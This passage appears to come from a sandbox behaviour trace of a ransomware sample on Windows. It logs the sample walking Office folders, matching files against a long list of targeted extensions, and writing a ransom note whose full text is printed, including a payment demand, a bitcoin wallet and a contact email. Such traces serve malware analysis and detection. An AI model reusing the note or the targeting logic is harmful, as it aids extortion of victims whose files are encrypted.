Office\\Office14\\LGND.DLL", pszSpec="*.qbo") returned 0 [0065.827] lstrlenA (lpString="*.qbo") returned 5 [0065.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.qbx") returned 0 [0065.828] lstrlenA (lpString="*.qbx") returned 5 [0065.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.qba") returned 0 [0065.828] lstrlenA (lpString="*.qba") returned 5 [0065.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.qby") returned 0 [0065.828] lstrlenA (lpString="*.qby") returned 5 [0065.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.qbj") returned 0 [0065.828] lstrlenA (lpString="*.qbj") returned 5 [0065.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.ofx") returned 0 [0065.828] lstrlenA (lpString="*.ofx") returned 5 [0065.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.qif") returned 0 [0065.828] lstrlenA (lpString="*.qif") returned 5 [0065.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.mye") returned 0 [0065.828] lstrlenA (lpString="*.mye") returned 5 [0065.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.mbox") returned 0 [0065.828] lstrlenA (lpString="*.mbox") returned 6 [0065.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.eml") returned 0 [0065.828] lstrlenA (lpString="*.eml") returned 5 [0065.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.pst") returned 0 [0065.828] lstrlenA (lpString="*.pst") returned 5 [0065.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.ost") returned 0 [0065.828] lstrlenA (lpString="*.ost") returned 5 [0065.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.idx") returned 0 [0065.828] lstrlenA (lpString="*.idx") returned 5 [0065.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.dbx") returned 0 [0065.828] lstrlenA (lpString="*.dbx") returned 5 [0065.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.sql") returned 0 [0065.829] lstrlenA (lpString="*.sql") returned 5 [0065.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.mdb") returned 0 [0065.829] lstrlenA (lpString="*.mdb") returned 5 [0065.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.fdb") returned 0 [0065.829] lstrlenA (lpString="*.fdb") returned 5 [0065.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.wab") returned 0 [0065.829] lstrlenA (lpString="*.wab") returned 5 [0065.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.dat") returned 0 [0065.829] lstrlenA (lpString="*.dat") returned 5 [0065.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.txt") returned 0 [0065.829] lstrlenA (lpString="*.txt") returned 5 [0065.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.jpeg") returned 0 [0065.829] lstrlenA (lpString="*.jpeg") returned 6 [0065.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.jpg") returned 0 [0065.829] lstrlenA (lpString="*.jpg") returned 5 [0065.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.png") returned 0 [0065.829] lstrlenA (lpString="*.png") returned 5 [0065.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.php") returned 0 [0065.829] lstrlenA (lpString="*.php") returned 5 [0065.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.cs") returned 0 [0065.829] lstrlenA (lpString="*.cs") returned 4 [0065.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.cpp") returned 0 [0065.830] lstrlenA (lpString="*.cpp") returned 5 [0065.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.rar") returned 0 [0065.830] lstrlenA (lpString="*.rar") returned 5 [0065.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.zip") returned 0 [0065.830] lstrlenA (lpString="*.zip") returned 5 [0065.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.html") returned 0 [0065.830] lstrlenA (lpString="*.html") returned 6 [0065.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.htm") returned 0 [0065.830] lstrlenA (lpString="*.htm") returned 5 [0065.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.xlsx") returned 0 [0065.830] lstrlenA (lpString="*.xlsx") returned 6 [0065.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.xls") returned 0 [0065.830] lstrlenA (lpString="*.xls") returned 5 [0065.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.mp4") returned 0 [0065.830] lstrlenA (lpString="*.mp4") returned 5 [0065.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.ppt") returned 0 [0065.830] lstrlenA (lpString="*.ppt") returned 5 [0065.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.pptx") returned 0 [0065.830] lstrlenA (lpString="*.pptx") returned 6 [0065.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.doc") returned 0 [0065.830] lstrlenA (lpString="*.doc") returned 5 [0065.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.dot") returned 0 [0065.830] lstrlenA (lpString="*.dot") returned 5 [0065.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.docx") returned 0 [0065.831] lstrlenA (lpString="*.docx") returned 6 [0065.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.7z") returned 0 [0065.831] lstrlenA (lpString="*.7z") returned 4 [0065.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.tar") returned 0 [0065.831] lstrlenA (lpString="*.tar") returned 5 [0065.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.bz2") returned 0 [0065.831] lstrlenA (lpString="*.bz2") returned 5 [0065.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.gz") returned 0 [0065.831] lstrlenA (lpString="*.gz") returned 4 [0065.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.mkv") returned 0 [0065.831] lstrlenA (lpString="*.mkv") returned 5 [0065.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.eml") returned 0 [0065.831] lstrlenA (lpString="*.eml") returned 5 [0065.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.msg") returned 0 [0065.831] lstrlenA (lpString="*.msg") returned 5 [0065.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.edb") returned 0 [0065.831] lstrlenA (lpString="*.edb") returned 5 [0065.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.accdb") returned 0 [0065.831] lstrlenA (lpString="*.accdb") returned 7 [0065.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.odb") returned 0 [0065.831] lstrlenA (lpString="*.odb") returned 5 [0065.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.java") returned 0 [0065.831] lstrlenA (lpString="*.java") returned 6 [0065.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.asm") returned 0 [0065.832] lstrlenA (lpString="*.asm") returned 5 [0065.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.pfx") returned 0 [0065.832] lstrlenA (lpString="*.pfx") returned 5 [0065.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.pem") returned 0 [0065.832] lstrlenA (lpString="*.pem") returned 5 [0065.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.p12") returned 0 [0065.832] lstrlenA (lpString="*.p12") returned 5 [0065.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.gpg") returned 0 [0065.832] lstrlenA (lpString="*.gpg") returned 5 [0065.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.vsd") returned 0 [0065.832] lstrlenA (lpString="*.vsd") returned 5 [0065.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.odg") returned 0 [0065.832] lstrlenA (lpString="*.odg") returned 5 [0065.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.raw") returned 0 [0065.832] lstrlenA (lpString="*.raw") returned 5 [0065.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.nef") returned 0 [0065.832] lstrlenA (lpString="*.nef") returned 5 [0065.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.svg") returned 0 [0065.832] lstrlenA (lpString="*.svg") returned 5 [0065.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.psd") returned 0 [0065.832] lstrlenA (lpString="*.psd") returned 5 [0065.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.vmx") returned 0 [0065.832] lstrlenA (lpString="*.vmx") returned 5 [0065.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.vmdk") returned 0 [0065.833] lstrlenA (lpString="*.vmdk") returned 6 [0065.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.vdi") returned 0 [0065.833] lstrlenA (lpString="*.vdi") returned 5 [0065.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.lay6") returned 0 [0065.833] lstrlenA (lpString="*.lay6") returned 6 [0065.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.mpeg") returned 0 [0065.833] lstrlenA (lpString="*.mpeg") returned 6 [0065.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.djvu") returned 0 [0065.833] lstrlenA (lpString="*.djvu") returned 6 [0065.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.tiff") returned 0 [0065.833] lstrlenA (lpString="*.tiff") returned 6 [0065.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.backup") returned 0 [0065.833] lstrlenA (lpString="*.backup") returned 8 [0065.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.pdf") returned 0 [0065.833] lstrlenA (lpString="*.pdf") returned 5 [0065.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.cert") returned 0 [0065.833] lstrlenA (lpString="*.cert") returned 6 [0065.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.docm") returned 0 [0065.833] lstrlenA (lpString="*.docm") returned 6 [0065.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.xlsm") returned 0 [0065.833] lstrlenA (lpString="*.xlsm") returned 6 [0065.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.dwg") returned 0 [0065.833] lstrlenA (lpString="*.dwg") returned 5 [0065.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.nd") returned 0 [0065.833] lstrlenA (lpString="*.nd") returned 4 [0065.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.tlg") returned 0 [0065.834] lstrlenA (lpString="*.tlg") returned 5 [0065.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.lgb") returned 0 [0065.834] lstrlenA (lpString="*.lgb") returned 5 [0065.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.mov") returned 0 [0065.834] lstrlenA (lpString="*.mov") returned 5 [0065.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.xdw") returned 0 [0065.834] lstrlenA (lpString="*.xdw") returned 5 [0065.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.ods") returned 0 [0065.834] lstrlenA (lpString="*.ods") returned 5 [0065.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.wav") returned 0 [0065.834] lstrlenA (lpString="*.wav") returned 5 [0065.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.mp3") returned 0 [0065.834] lstrlenA (lpString="*.mp3") returned 5 [0065.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.aiff") returned 0 [0065.834] lstrlenA (lpString="*.aiff") returned 6 [0065.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.flac") returned 0 [0065.834] lstrlenA (lpString="*.flac") returned 6 [0065.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.m4a") returned 0 [0065.834] lstrlenA (lpString="*.m4a") returned 5 [0065.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.csv") returned 0 [0065.834] lstrlenA (lpString="*.csv") returned 5 [0065.834] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Library", cAlternateFileName="")) returned 1 [0065.835] lstrcmpA (lpString1=".", lpString2="Library") returned -1 [0065.835] lstrcmpA (lpString1="..", lpString2="Library") returned -1 [0065.835] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL") returned="LGND.DLL" [0065.835] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="Library" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library" [0065.835] lstrlenA (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned 50 [0065.835] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x502518 [0065.836] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.836] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0065.836] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.836] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.836] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0065.836] lstrcmpA (lpString1=".", lpString2="Analysis") returned -1 [0065.836] lstrcmpA (lpString1="..", lpString2="Analysis") returned -1 [0065.836] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*.*") returned="*.*" [0065.836] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\", lpString2="Analysis" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" [0065.836] lstrlenA (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned 59 [0065.836] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502558 [0065.839] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.839] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0065.839] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.839] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.840] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3bb60, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1 [0065.840] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.840] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ANALYS32.XLL") returned 1 [0065.840] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ANALYS32.XLL") returned 1 [0065.840] lstrcmpiA (lpString1="", lpString2="ANALYS32.XLL") returned -1 [0065.840] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*.*") returned="*.*" [0065.840] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0065.840] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="" [0065.840] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO DECRYPT FILES.txt" [0065.840] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\how to decrypt files.txt")) returned 0xffffffff [0065.840] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0065.841] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0065.841] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0065.842] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.842] CloseHandle (hObject=0x90) returned 1 [0065.843] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\", lpString2="ANALYS32.XLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL" [0065.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.ems") returned 0 [0065.843] lstrlenA (lpString="*.ems") returned 5 [0065.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.db") returned 0 [0065.843] lstrlenA (lpString="*.db") returned 4 [0065.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.dbf") returned 0 [0065.843] lstrlenA (lpString="*.dbf") returned 5 [0065.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.myox") returned 0 [0065.843] lstrlenA (lpString="*.myox") returned 6 [0065.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.myo") returned 0 [0065.843] lstrlenA (lpString="*.myo") returned 5 [0065.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.qbw") returned 0 [0065.843] lstrlenA (lpString="*.qbw") returned 5 [0065.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.qbb") returned 0 [0065.843] lstrlenA (lpString="*.qbb") returned 5 [0065.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.qbm") returned 0 [0065.843] lstrlenA (lpString="*.qbm") returned 5 [0065.844] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.qbo") returned 0 [0065.844] lstrlenA (lpString="*.qbo") returned 5 [0065.844] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.qbx") returned 0 [0065.844] lstrlenA (lpString="*.qbx") returned 5 [0065.844] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.qba") returned 0 [0065.844] lstrlenA (lpString="*.qba") returned 5 [0065.844] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.qby") returned 0 [0065.844] lstrlenA (lpString="*.qby") returned 5 [0065.844] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.qbj") returned 0 [0065.844] lstrlenA (lpString="*.qbj") returned 5 [0065.844] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.ofx") returned 0 [0065.844] lstrlenA (lpString="*.ofx") returned 5 [0065.844] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.qif") returned 0 [0065.844] lstrlenA (lpString="*.qif") returned 5 [0065.844] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", pszSpec="*.mye") returned 0 [0065.844] lstrlenA (lpString="*.mye") returned 5 [0065.844] PathMatchSpecA (pszFile="C:\\Program 